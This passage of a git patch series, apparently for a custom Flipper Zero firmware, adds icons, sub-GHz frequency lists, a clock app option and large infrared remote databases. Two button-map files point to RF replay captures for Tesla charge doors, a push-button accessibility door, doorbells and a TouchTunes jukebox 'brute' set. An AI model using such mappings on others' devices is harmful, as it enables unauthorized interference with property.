b/assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..3e17c6c76ba81c56c52edd21147e6b1d5e692607 GIT binary patch literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_rate b/assets/icons/MainMenu/UniversalRemote_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/assets/icons/MainMenu/UniversalRemote_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/assets/resources/subghz/assets/setting_frequency_analyzer_user b/assets/resources/subghz/assets/setting_frequency_analyzer_user index 2c03a4022..ee75a2c83 100644 --- a/assets/resources/subghz/assets/setting_frequency_analyzer_user +++ b/assets/resources/subghz/assets/setting_frequency_analyzer_user @@ -2,18 +2,30 @@ Filetype: Flipper SubGhz Setting File Version: 1 Frequency_default: 433920000 Frequency: 300000000 +Frequency: 302757000 Frequency: 303875000 Frequency: 304250000 +Frequency: 310000000 +Frequency: 312000000 +Frequency: 313850000 +Frequency: 314000000 Frequency: 315000000 Frequency: 318000000 +Frequency: 348000000 +Frequency: 387000000 Frequency: 390000000 Frequency: 418000000 Frequency: 433075000 +Frequency: 433220000 Frequency: 433420000 +Frequency: 433889000 Frequency: 433920000 Frequency: 434420000 Frequency: 434775000 Frequency: 438900000 +Frequency: 464000000 +Frequency: 779000000 Frequency: 868350000 Frequency: 915000000 Frequency: 925000000 +Frequency: 928000000 diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 11bd984dc..e3039e560 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -2,23 +2,37 @@ Filetype: Flipper SubGhz Setting File Version: 1 Frequency_default: 433920000 Frequency: 300000000 +Frequency: 302757000 Frequency: 303875000 Frequency: 304250000 +Frequency: 310000000 +Frequency: 312000000 +Frequency: 313850000 +Frequency: 314000000 Frequency: 315000000 Frequency: 318000000 +Frequency: 348000000 +Frequency: 387000000 Frequency: 390000000 Frequency: 418000000 Frequency: 433075000 +Frequency: 433220000 Frequency: 433420000 +Frequency: 433889000 Frequency: 433920000 Frequency: 434420000 Frequency: 434775000 Frequency: 438900000 +Frequency: 464000000 +Frequency: 779000000 Frequency: 868350000 Frequency: 915000000 Frequency: 925000000 +Frequency: 928000000 +Hopper_frequency: 312000000 +Hopper_frequency: 314000000 Hopper_frequency: 315000000 Hopper_frequency: 318000000 Hopper_frequency: 390000000 Hopper_frequency: 433920000 -Hopper_frequency: 868350000 +Hopper_frequency: 868350000 \ No newline at end of file diff --git a/assets/resources/subghz/assets/touchtunes_map b/assets/resources/subghz/assets/touchtunes_map new file mode 100644 index 000000000..2e2c6ff81 --- /dev/null +++ b/assets/resources/subghz/assets/touchtunes_map @@ -0,0 +1,7 @@ +Filetype: Flipper SubGhz RAW File +Version: 1 +UP: /any/subghz/touchtunes/brute/P2.sub +DOWN: /any/subghz/touchtunes/brute/Pause.sub +LEFT: /any/subghz/touchtunes/brute/Pwr.sub +RIGHT: /any/subghz/touchtunes/brute/P1.sub +OK: /any/subghz/touchtunes/brute/OK.sub \ No newline at end of file diff --git a/assets/resources/subghz/assets/universal_rf_map b/assets/resources/subghz/assets/universal_rf_map new file mode 100644 index 000000000..986ff9c35 --- /dev/null +++ b/assets/resources/subghz/assets/universal_rf_map @@ -0,0 +1,7 @@ +Filetype: Flipper SubGhz RAW File +Version: 1 +UP: /any/subghz/Vehicles/Tesla/Tesla_charge_door_AM270.sub +DOWN: /any/subghz/DoorbellFM.sub +LEFT: /any/subghz/Vehicles/Tesla/Tesla_charge_door_AM650.sub +RIGHT: /any/subghz/Doorbell1.sub +OK: /any/subghz/handicap_push_door.sub \ No newline at end of file diff --git a/firmware/targets/f7/target.mk b/firmware/targets/f7/target.mk index 8e58a71c9..4b019cae8 100644 --- a/firmware/targets/f7/target.mk +++ b/firmware/targets/f7/target.mk @@ -19,9 +19,8 @@ endif MCU_FLAGS = -mcpu=cortex-m4 -mthumb -mfpu=fpv4-sp-d16 -mfloat-abi=hard # Warnings configuration -CFLAGS += -Wall -Wextra -Wredundant-decls -Wdouble-promotion +CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -Wall -fdata-sections -ffunction-sections -CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -fdata-sections -ffunction-sections -fsingle-precision-constant LDFLAGS += $(MCU_FLAGS) -specs=nosys.specs -specs=nano.specs CPPFLAGS += -fno-rtti -fno-use-cxa-atexit -fno-exceptions diff --git a/lib/toolbox/random_name.c b/lib/toolbox/random_name.c index b581bb979..cf2f8d7fb 100644 --- a/lib/toolbox/random_name.c +++ b/lib/toolbox/random_name.c @@ -3,40 +3,17 @@ #include #include #include +#include void set_random_name(char* name, uint8_t max_name_size) { - static bool rand_generator_inited = false; - - if(!rand_generator_inited) { - srand(DWT->CYCCNT); - rand_generator_inited = true; - } - const char* prefix[] = { - "ancient", - "hollow", - "strange", - "disappeared", - "unknown", - "unthinkable", - "unnamable", - "nameless", - "my", - }; - - const char* suffix[] = { - "door", - "entrance", - "doorway", - "entry", - "portal", - "entree", - "opening", - "crack", - }; - uint8_t prefix_i = rand() % COUNT_OF(prefix); - uint8_t suffix_i = rand() % COUNT_OF(suffix); - - sniprintf(name, max_name_size, "%s_%s", prefix[prefix_i], suffix[suffix_i]); + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + char strings[1][25]; + sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "s" + , datetime.year, datetime.month, datetime.day + , datetime.hour, datetime.minute + ); + sniprintf(name, max_name_size, "%s", strings[0]); // Set first symbol to upper case name[0] = name[0] - 0x20; } From 1d9099ddb5aead8139f57a56e8466972e2c42e28 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 01:25:55 +0300 Subject: [PATCH 168/461] Update Manifest --- assets/resources/Manifest | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 2c5164520..cb16e8787 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652701740 +T:1652793697 D:badusb D:dolphin D:infrared @@ -281,8 +281,10 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:00e967e5c558e44a0651bb821d5cf1d0:414:subghz/assets/setting_frequency_analyzer_user -F:16e8c7cb4a13f26ea55b2b0a59f9cc7a:554:subghz/assets/setting_user +F:35851dab442aa3e18722fcaaf2ce070e:666:subghz/assets/setting_frequency_analyzer_user +F:2b9d171f9bbaa09f609eeba909a40b6a:861:subghz/assets/setting_user +F:e7199dcdbc7910508b1ef3fddf3fe219:255:subghz/assets/touchtunes_map +F:b27818b54bc04922f1a722334edbee0e:269:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der F:f60b88c20ed479ed9684e249f7134618:264:u2f/assets/cert_key.u2f From 1ffe4bd582b7af2fc480e6b75f693e0a7fbd330a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 01:33:40 +0300 Subject: [PATCH 169/461] Update clock_app.c --- applications/clock_app/clock_app.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index de4f3d0c0..60f442589 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -64,6 +64,8 @@ static void clock_render_callback(Canvas* const canvas, void* ctx) { elements_button_right(canvas, "S:PoRa"); } else if(songSelect==2) { elements_button_right(canvas, "S:Mario"); + } else if(songSelect==3) { + elements_button_right(canvas, "S:ByMin"); } } @@ -140,7 +142,7 @@ static void clock_tick(void* ctx) { PluginEvent event = {.type = EventTypeTick}; if(timerStarted) { timerSecs=timerSecs+1; - if(timerSecs%60==0) { + if(timerSecs%60==0 && songSelect!=0) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_perMin); furi_record_close("notification"); @@ -233,6 +235,8 @@ int32_t clock_app(void* p) { songSelect=1; } else if(songSelect==1) { songSelect=2; + } else if(songSelect==2) { + songSelect=3; } else { songSelect=0; } @@ -240,7 +244,7 @@ int32_t clock_app(void* p) { case InputKeyLeft: break; case InputKeyOk: - if(songSelect==1 || songSelect==2) { + if(songSelect==1 || songSelect==2 || songSelect==3) { NotificationApp* notification = furi_record_open("notification"); notification_message(notification, &clock_alert_startStop); furi_record_close("notification"); From 157727c32143761043c3fbaa5d17840af4ef6120 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 01:44:21 +0300 Subject: [PATCH 170/461] new fresh ir db's --- .../infrared/ACs/Dreo/Dreo_Heater.ir | 44 + .../ACs/Dyson/Dyson_Air_Multiplier.ir | 50 + .../infrared/ACs/Dyson/Dyson_HP09.ir | 12 + .../GoldenVantage_AF510_Fireplace.ir | 26 + .../ACs/Homedics/Homedics_Humidifier.ir | 38 + .../ACs/JETTools/JETTools_AFS-1000B.ir | 20 + .../ACs/Koldfront/Koldfront_WAC12001.ir | 56 + .../infrared/ACs/Koldfront_wac12001.ir | 56 + assets/resources/infrared/ACs/LG/LG_AC.ir | 38 + .../resources/infrared/ACs/Lasko/Lasko_Fan.ir | 20 + .../infrared/ACs/Lasko/Lasko_Fan_Simple.ir | 20 + .../infrared/ACs/Lasko/Lasko_Heater.ir | 38 + .../infrared/ACs/Pelonis_PFS40D6ABB.ir | 26 + .../resources/infrared/ACs/Vornado/Vornado.ir | 20 + .../infrared/ACs/Whynter/Whynter_AC.ir | 56 + .../infrared/ACs/Zenith/Zenith_AC.ir | 44 + .../infrared/Audio Receivers/Onkyo/Onkyo.ir | 152 + .../Audio Receivers/Onkyo/Onkyo_RC627S.ir | 272 + .../Audio Receivers/Sony/Sony_MHC-GS300AV.ir | 200 + .../infrared/Blu-Ray/LG/LG_BlueRay.ir | 110 + .../Blu-Ray/Toshiba/Toshiba_SE-R0398.ir | 272 + .../CCTV/BrandUnknown/Szxlcom_cams.ir | 80 + .../MarshallElectronics/Marshall_CV610.ir | 110 + .../infrared/Cable Boxes/Amino/Amino_Amigo.ir | 68 + .../infrared/Cable Boxes/DIRECTV/DIRECTV.ir | 146 + .../Cable Boxes/Telus/Telus_OptikTV.ir | 182 + .../resources/infrared/Cameras/Sony/Nikon.ir | 8 + .../resources/infrared/Cameras/Sony/Sony.ir | 20 + .../infrared/Consoles/Microsoft/Xbox.ir | 38 + .../Converters/RME/RME_ADI-2_DAC_FS.ir | 134 + .../resources/infrared/Converters/ReadMe.md | 1 + .../infrared/Head Units/GPX/GPX_CDRadio.ir | 38 + .../Head Units/Pioneer/Pioneer_DMH-1770NEX.ir | 22 + .../LED Lighting/Amazon/Amazon_LED_Lights.ir | 104 + .../BrandUnknown/44_Button_LED.ir | 248 + .../BrandUnknown/Color_Change_Bulb_Remote.ir | 104 + .../LED Lighting/BrandUnknown/DMX_Light.ir | 98 + .../LED Lighting/BrandUnknown/LEDStrip.ir | 1538 ++ .../LED Lighting/BrandUnknown/LED_44Key.ir | 266 + .../LED Lighting/BrandUnknown/Light_Strip.ir | 146 + .../BrandUnknown/Magic_Lighting_Remote.ir | 104 + .../BrandUnknown/Practical_Series_2.ir | 134 + .../MonsterIlluminessence_LED.ir | 146 + .../LED Lighting/mlambert_rope_light.ir | 170 + .../infrared/Miscellaneous/AMI/AMI_Jukebox.ir | 32 + .../infrared/Miscellaneous/HDMI_Switch.ir | 38 + .../Miscellaneous/Hasbro/Furby/Furby.ir | 86 + .../resources/infrared/Miscellaneous/LG/LG.ir | 98 + .../Miscellaneous/LaserX/LaserX_Tag.ir | 20 + .../infrared/Miscellaneous/ReadMe.md | 1 + .../infrared/Projectors/BenQ/BenQ.ir | 38 + .../LED Smart Home Theater Projector.ir | 74 + .../Projectors/BrandUnknown/README.md | 1 + .../Projectors/BrandUnknown/Scrn_innov.ir | 20 + .../Projectors/BrandUnknown/Stlth_acou.ir | 20 + .../infrared/Projectors/Casio/Casio_YT-130.ir | 104 + .../Da-Lite/Da-Lite_ProjectorScreen.ir | 20 + .../Projectors/Dragonfly/Dragonfly_Screen.ir | 32 + .../infrared/Projectors/Epson/Epson.ir | 110 + .../infrared/SoundBars/Bose/Bose_Solo_2.ir | 50 + .../infrared/SoundBars/Bose/Bose_Solo_5.ir | 32 + .../infrared/SoundBars/Bose/Bose_Soundbar.ir | 50 + .../SoundBars/BrandUnknown/Amz_snd_bar.ir | 56 + .../SoundBars/BrandUnknown/Soundblasterx.ir | 44 + .../SoundBars/Klipsch/Klipsch_Soundbar.ir | 62 + .../resources/infrared/SoundBars/Samsung.ir | 62 + .../SoundBars/Sony/Sony_MHC-GS300AV.ir | 200 + .../infrared/SoundBars/Sony/Sony_Old_XBR.ir | 26 + .../SoundBars/Sony/Sony_RDH-GTK33IP.ir | 32 + .../SoundBars/Vizio/Vizio_Soundbar.ir | 86 + .../infrared/SoundBars/Yamaha/Yamaha_RX.ir | 116 + .../Streaming Devices/Apple/Apple_TV.ir | 38 + .../Streaming Devices/Roku/Jet_AFS-1000b.ir | 20 + .../infrared/Streaming Devices/Roku/Roku.ir | 62 + .../infrared/Streaming Devices/Roku/Roku2.ir | 62 + .../Streaming Devices/Roku/Roku_Alternate.ir | 98 + .../resources/infrared/TVs/APEX LE4643T TV.ir | 74 + .../infrared/TVs/Hisense/Hisense_RokuTV.ir | 116 + assets/resources/infrared/TVs/LG/LG_C1.ir | 62 + .../resources/infrared/TVs/LG_55UN7300AUD.ir | 92 + assets/resources/infrared/TVs/NEC/NEC.ir | 158 + .../TVs/Panasonic/Panasonic_TC-P50S2.ir | 278 + .../TVs/Philips/Philips_32PFL4208T.ir | 260 + .../resources/infrared/TVs/Samsung/Samsung.ir | 266 + .../infrared/TVs/Samsung/Samsung_BN59.ir | 92 + .../TVs/Samsung/Samsung_BN5901301A.ir | 266 + .../infrared/TVs/Samsung/Samsung_E6.ir | 8 + .../infrared/TVs/Samsung/Samsung_TV.ir | 74 + .../infrared/TVs/Sharp/Sharp_Roku_TV.ir | 128 + .../infrared/TVs/Sony/Sony_Bravia.ir | 32 + .../resources/infrared/TVs/Sony/Sony_XBR.ir | 74 + .../infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir | 44 + .../infrared/TVs/Sunbrite/Sunbrite.ir | 80 + .../resources/infrared/TVs/TCL/TCL_32S327.ir | 62 + .../infrared/TVs/TCL/TCL_UnknownModel1.ir | 98 + .../infrared/TVs/TCL/TCL_UnknownModel2.ir | 68 + .../infrared/TVs/Toshiba/Toshiba_32AV502U.ir | 38 + assets/resources/infrared/TVs/Vizio/Vizio.ir | 104 + .../infrared/TVs/Westinghouse/Westinghouse.ir | 92 + .../_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir | 116 + .../_CSV-IRDB_/3M/Projector/134,-1.ir | 98 + .../_CSV-IRDB_/3M/Video Projector/134,-1.ir | 98 + .../_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir | 218 + .../infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir | 182 + .../_CSV-IRDB_/ADA/Millenium/27,-1.ir | 8 + .../_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir | 212 + .../_CSV-IRDB_/ADB/Set Top Box/42,17.ir | 230 + .../_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir | 152 + .../_CSV-IRDB_/ADS/TV_Instant/2,-1.ir | 266 + .../_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir | 290 + .../infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir | 104 + .../infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir | 50 + .../infrared/_CSV-IRDB_/AOC/TV/0,189.ir | 152 + .../AccessHD/CONVERTER_DTA1080U/0,191.ir | 170 + .../_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir | 218 + .../Accupel/Signal Generator/0,-1.ir | 152 + .../_CSV-IRDB_/Acer/Projector/8,19.ir | 8 + .../_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir | 314 + .../_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir | 272 + .../_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir | 290 + .../_CSV-IRDB_/Acesonic/Karaoke/5,122.ir | 362 + .../_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir | 206 + .../Aconatic/Unknown_AN-2121/2,-1.ir | 290 + .../Acorp/Unknown_Acorp-878/134,107.ir | 218 + .../_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir | 422 + .../_CSV-IRDB_/Adcom/CD Player/26,-1.ir | 308 + .../_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir | 26 + .../_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir | 1088 ++ .../_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir | 194 + .../_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir | 188 + .../_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir | 26 + .../_CSV-IRDB_/Adcom/Receiver/26,-1.ir | 386 + .../_CSV-IRDB_/Adcom/Receiver/26,232.ir | 68 + .../_CSV-IRDB_/Adcom/Receiver/81,0.ir | 158 + .../Adcom/Surround Processor/26,-1.ir | 98 + .../infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir | 158 + .../_CSV-IRDB_/Adcom/Unknown/26,-1.ir | 146 + .../infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir | 146 + .../_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir | 176 + .../_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir | 20 + .../_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir | 248 + .../Unknown_Acoustic/36,75.ir | 56 + .../Aesthetix/Pre-Amplifier/16,-1.ir | 98 + .../infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir | 44 + .../_CSV-IRDB_/Aiwa/CD Player/118,0.ir | 104 + .../_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir | 194 + .../_CSV-IRDB_/Aiwa/Mini System/110,0.ir | 140 + .../_CSV-IRDB_/Aiwa/Receiver/12,-1.ir | 50 + .../_CSV-IRDB_/Aiwa/Receiver/13,-1.ir | 38 + .../_CSV-IRDB_/Aiwa/Receiver/16,-1.ir | 68 + .../_CSV-IRDB_/Aiwa/Receiver/18,-1.ir | 14 + .../infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir | 266 + .../Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir | 74 + .../_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir | 206 + .../_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir | 128 + .../_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir | 224 + .../_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir | 98 + .../Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir | 254 + .../_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir | 152 + .../_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir | 152 + .../_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir | 200 + .../_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir | 218 + .../_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir | 194 + .../_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir | 152 + .../Aiwa/Unknown_RC-BVR02/110,-1.ir | 224 + .../_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir | 104 + .../_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir | 176 + .../_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir | 236 + .../_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir | 194 + .../_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir | 212 + .../_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir | 188 + .../_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir | 164 + .../Aiwa/Unknown_RC-TN320EX/110,0.ir | 224 + .../_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir | 218 + .../_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir | 230 + .../Aiwa/Unknown_RC-TN500EX/110,0.ir | 248 + .../Aiwa/Unknown_RC-TN520EX/110,0.ir | 248 + .../_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir | 68 + .../Aiwa/Unknown_RC-XR-MD201/110,0.ir | 248 + .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir | 140 + .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir | 116 + .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir | 152 + .../_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir | 338 + .../_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir | 110 + .../_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir | 122 + .../_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir | 242 + .../Aiwa/Unknown_rc-tn380b/110,0.ir | 242 + .../_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir | 224 + .../_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir | 206 + .../infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir | 398 + .../infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir | 62 + .../_CSV-IRDB_/Akai/CD Player/141,-1.ir | 128 + .../Akai/Unknown_AKAI-RC-AAV2100/160,160.ir | 182 + .../Akai/Unknown_Akai-RC-61A/11,11.ir | 200 + .../Akai/Unknown_Akai-RC-V23E/137,119.ir | 98 + .../_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir | 266 + .../Akai/Unknown_RC-W152E/137,119.ir | 188 + .../_CSV-IRDB_/Akai/Unknown_akai/131,101.ir | 260 + .../_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir | 206 + .../_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir | 134 + .../Satellite Radio/26,-1.ir | 122 + .../_CSV-IRDB_/Aopen/Media PC/4,-1.ir | 278 + .../_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir | 278 + .../_CSV-IRDB_/Apex/DVD Player/4,-1.ir | 278 + .../_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir | 308 + .../_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir | 272 + .../_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir | 272 + .../_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir | 176 + .../_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir | 194 + .../_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir | 284 + .../_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir | 290 + .../_CSV-IRDB_/Apple/Apple TV/238,135.ir | 158 + .../_CSV-IRDB_/Apple/Computer/238,135.ir | 92 + .../Apple/Digital Jukebox/238,135.ir | 80 + .../_CSV-IRDB_/Apple/MP3 Player/1,222.ir | 134 + .../_CSV-IRDB_/Apple/MP3 Player/238,135.ir | 62 + .../_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir | 230 + .../infrared/_CSV-IRDB_/Apple/iPod/238,135.ir | 38 + .../_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir | 134 + .../_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir | 458 + .../_CSV-IRDB_/Arcam/CD Player/0,-1.ir | 14 + .../_CSV-IRDB_/Arcam/CD Player/16,-1.ir | 8 + .../_CSV-IRDB_/Arcam/CD Player/20,-1.ir | 140 + .../_CSV-IRDB_/Arcam/DVD Player/16,-1.ir | 26 + .../_CSV-IRDB_/Arcam/DVD Player/25,-1.ir | 1334 ++ .../_CSV-IRDB_/Arcam/Music System/16,-1.ir | 434 + .../_CSV-IRDB_/Arcam/Music System/17,-1.ir | 164 + .../_CSV-IRDB_/Arcam/Music System/20,-1.ir | 164 + .../_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir | 392 + .../_CSV-IRDB_/Arcam/Receiver/0,-1.ir | 8 + .../_CSV-IRDB_/Arcam/Receiver/16,-1.ir | 1238 ++ .../_CSV-IRDB_/Arcam/Receiver/17,-1.ir | 338 + .../_CSV-IRDB_/Arcam/Receiver/19,-1.ir | 86 + .../_CSV-IRDB_/Arcam/Receiver/23,-1.ir | 158 + .../_CSV-IRDB_/Arcam/Receiver/25,-1.ir | 44 + .../Arcam/Surround Receiver/0,-1.ir | 8 + .../Arcam/Surround Receiver/16,-1.ir | 134 + .../Arcam/Surround Receiver/25,-1.ir | 26 + .../infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir | 116 + .../_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir | 164 + .../_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir | 116 + .../Architectural Audio/Amplifier/132,132.ir | 26 + .../Multi-Zone Receiver/130,130.ir | 188 + .../_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir | 218 + .../_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir | 410 + .../Arrakis Systems/CD Jukebox/103,-1.ir | 194 + .../Arrakis Systems/CD Jukebox/39,-1.ir | 194 + .../Arrakis Systems/CD Jukebox/71,-1.ir | 194 + .../Askey/Unknown_AS-218/134,107.ir | 182 + .../Aspire Digital/Unknown_Digital/8,-1.ir | 344 + .../_CSV-IRDB_/Astro/Satellite/8,-1.ir | 248 + .../_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir | 170 + .../_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir | 68 + .../_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir | 278 + .../_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir | 194 + .../_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir | 38 + .../Atlanta DTH/Unknown_DTH/5,-1.ir | 194 + .../Surround Processor/131,95.ir | 134 + .../Surround Processor/64,64.ir | 98 + .../Surround Processor/7,-1.ir | 14 + .../_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir | 182 + .../_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir | 386 + .../Atlona/Matrix Switcher/134,107.ir | 104 + .../_CSV-IRDB_/Atlona/Switcher/134,107.ir | 32 + .../Audio Access/Pre-Amplifier/133,83.ir | 422 + .../Audio Access/Zone Controller/133,83.ir | 104 + .../Audio Access/Zone Controller/4,-1.ir | 14 + .../Audio Authority/HDMI Switcher/134,107.ir | 32 + .../Audio Authority/IR to Bluetooth/26,218.ir | 146 + .../Audio Authority/IR to Bluetooth/26,73.ir | 224 + .../Audio 